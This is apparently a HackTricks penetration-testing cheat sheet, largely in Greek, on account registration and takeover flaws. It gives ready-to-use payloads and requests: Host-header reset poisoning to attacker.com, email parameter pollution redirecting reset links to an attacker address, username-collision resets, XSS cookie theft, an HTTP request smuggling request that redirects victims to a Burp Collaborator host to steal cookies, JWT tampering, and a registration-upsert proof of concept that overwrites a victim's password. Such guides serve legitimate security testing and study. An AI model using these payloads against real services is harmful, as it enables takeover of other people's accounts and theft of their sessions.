Registration & Takeover Vulnerabilities
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Registration Takeover
Duplicate Registration
- Προσπάθησε να δημιουργήσεις χρησιμοποιώντας ένα υπάρχον username
- Έλεγξε παραλλαγές του email:
- uppercase
- +1@
- πρόσθεσε μια dot στο email
- ειδικοί χαρακτήρες στο όνομα του email (%00, %09, %20)
- Βάλε κενά χαρακτήρες μετά το email:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Username Enumeration
Ελέγξτε αν μπορείτε να διαπιστώσετε πότε ένα username έχει ήδη καταχωρηθεί στην εφαρμογή.
Password Policy
Κατά τη δημιουργία χρήστη έλεγξε την πολιτική password (έλεγξε αν μπορείς να χρησιμοποιήσεις αδύναμα passwords).
Σε αυτή την περίπτωση μπορείς να δοκιμάσεις bruteforce των credentials.
SQL Injection
Check this page για να μάθεις πώς να επιχειρήσεις account takeovers ή να εξάγεις πληροφορίες μέσω SQL Injections σε φόρμες εγγραφής.
Oauth Takeovers
SAML Vulnerabilities
Change Email
Όταν είσαι εγγεγραμμένος προσπάθησε να αλλάξεις το email και έλεγξε αν αυτή η αλλαγή επαληθεύεται σωστά ή αν μπορείς να το αλλάξεις σε αυθαίρετα emails.
More Checks
- Έλεγξε αν μπορείς να χρησιμοποιήσεις disposable emails
- Πολύ μεγάλο password (>200) οδηγεί σε DoS
- Check rate limits on account creation
- Χρησιμοποίησε username@burp_collab.net και ανέλυσε το callback
Password Reset Takeover
Password Reset Token Leak Via Referrer
- Ζήτησε password reset στη διεύθυνση email σου
- Κάνε κλικ στον σύνδεσμο password reset
- Μην αλλάξεις το password
- Κάνε κλικ σε οποιονδήποτε 3rd party ιστότοπο (π.χ. Facebook, twitter)
- Intercept το request στο Burp Suite proxy
- Έλεγξε αν ο referer header is leaking το password reset token.
Password Reset Poisoning
- Intercept το password reset request στο Burp Suite
- Πρόσθεσε ή επεξεργάσου τα παρακάτω headers στο Burp Suite :
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Προώθησε (forward) το request με το τροποποιημένο header
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Ψάξε για ένα password reset URL βασισμένο στο host header όπως :
https://attacker.com/reset-password.php?token=TOKEN
Password Reset Via Email Parameter
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR σε παραμέτρους API
- Ο επιτιθέμενος πρέπει να συνδεθεί με τον λογαριασμό του και να μεταβεί στη λειτουργία Αλλαγή κωδικού.
- Ξεκινήστε το Burp Suite και Intercept το αίτημα\
- Στείλτε το στην καρτέλα repeater και επεξεργαστείτε τις παραμέτρους : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Αδύναμο token επαναφοράς κωδικού
Το password reset token πρέπει να δημιουργείται τυχαία και να είναι μοναδικό κάθε φορά.
Προσπαθήστε να καθορίσετε αν το token λήγει ή αν είναι πάντα το ίδιο — σε ορισμένες περιπτώσεις ο αλγόριθμος δημιουργίας είναι αδύναμος και μπορεί να εικαστεί. Οι παρακάτω μεταβλητές μπορεί να χρησιμοποιούνται από τον αλγόριθμο.
- Χρονική σήμανση (Timestamp)
- UserID
- Email του χρήστη
- Όνομα και Επώνυμο
- Ημερομηνία γέννησης
- Κρυπτογραφία
- Μόνο αριθμοί
- Μικρή ακολουθία token (χαρακτήρες μεταξύ [A-Z,a-z,0-9])
- Επανάχρηση token
- Ημερομηνία λήξης token
Leaking Password Reset Token
- Trigger ένα αίτημα επαναφοράς κωδικού χρησιμοποιώντας το API/UI για ένα συγκεκριμένο email π.χ: test@mail.com
- Εξετάστε την απάντηση του server και ελέγξτε για
resetToken
- Έπειτα χρησιμοποιήστε το token σε ένα URL όπως
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Επαναφορά κωδικού μέσω σύγκρουσης username
- Εγγραφείτε στο σύστημα με ένα username-identical στον χρήστη-θύμα, αλλά εισάγετε κενά πριν και/ή μετά το username. π.χ:
"admin "
- Ζητήστε επαναφορά κωδικού με το κακόβουλο username σας.
- Χρησιμοποιήστε το token που στάλθηκε στο email σας και επαναφέρετε τον κωδικό του θύματος.
- Συνδεθείτε στον λογαριασμό του θύματος με τον νέο κωδικό.
Η πλατφόρμα CTFd ήταν ευάλωτη σε αυτήν την επίθεση.
See: CVE-2020-7245
Κατάληψη λογαριασμού μέσω Cross Site Scripting
- Βρείτε ένα XSS μέσα στην εφαρμογή ή σε subdomain εάν τα cookies είναι scoped στο parent domain :
*.domain.com
- Leak τα τρέχοντα sessions cookie
- Αυθεντικοποιηθείτε ως ο χρήστης χρησιμοποιώντας το cookie
Κατάληψη λογαριασμού μέσω HTTP Request Smuggling
1. Χρησιμοποιήστε smuggler για να εντοπίσετε τον τύπο του HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Δημιουργήστε ένα αίτημα το οποίο θα υπερχαράξει το POST / HTTP/1.1
με τα ακόλουθα δεδομένα:
GET http://something.burpcollaborator.net HTTP/1.1 X:
με στόχο να προκαλέσει open redirect τα θύματα προς burpcollab και να κλέψει τα cookies τους
3. Το τελικό αίτημα θα μπορούσε να μοιάζει ως εξής
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Αναφορές στο Hackerone που περιγράφουν την εκμετάλλευση αυτού του bug\
Κατάληψη Λογαριασμού μέσω CSRF
- Δημιουργήστε ένα payload για το CSRF, π.χ.: “HTML form with auto submit for a password change”
- Στείλτε το payload
Κατάληψη Λογαριασμού μέσω JWT
JSON Web Token μπορεί να χρησιμοποιηθεί για την αυθεντικοποίηση ενός χρήστη.
- Επεξεργαστείτε το JWT με άλλο User ID / Email
- Ελέγξτε για αδύναμη υπογραφή JWT
JWT Vulnerabilities (Json Web Tokens)
Εγγραφή-ως-Επαναφορά (Upsert on Existing Email)
Ορισμένοι signup handlers πραγματοποιούν upsert όταν το παρεχόμενο email υπάρχει ήδη. Αν το endpoint δέχεται ένα ελάχιστο body με email και password και δεν επιβάλλει επαλήθευση ιδιοκτησίας, η αποστολή του email του θύματος θα αντικαταστήσει το password του πριν την αυθεντικοποίηση.
- Discovery: συλλέξτε ονόματα endpoint από το bundled JS (ή mobile app traffic), στη συνέχεια fuzz-άρετε base paths όπως /parents/application/v4/admin/FUZZ χρησιμοποιώντας ffuf/dirsearch.
- Method hints: ένα GET που επιστρέφει μηνύματα όπως "Only POST request is allowed." συχνά υποδεικνύει το σωστό ρήμα και ότι αναμένεται JSON body.
- Minimal body observed in the wild:
{"email":"victim@example.com","password":"New@12345"}
Παράδειγμα PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Επίπτωση: Full Account Takeover (ATO) χωρίς κανένα reset token, OTP, ή email verification.
Αναφορές
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- https://salmonsec.com/cheatsheet/account_takeover
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.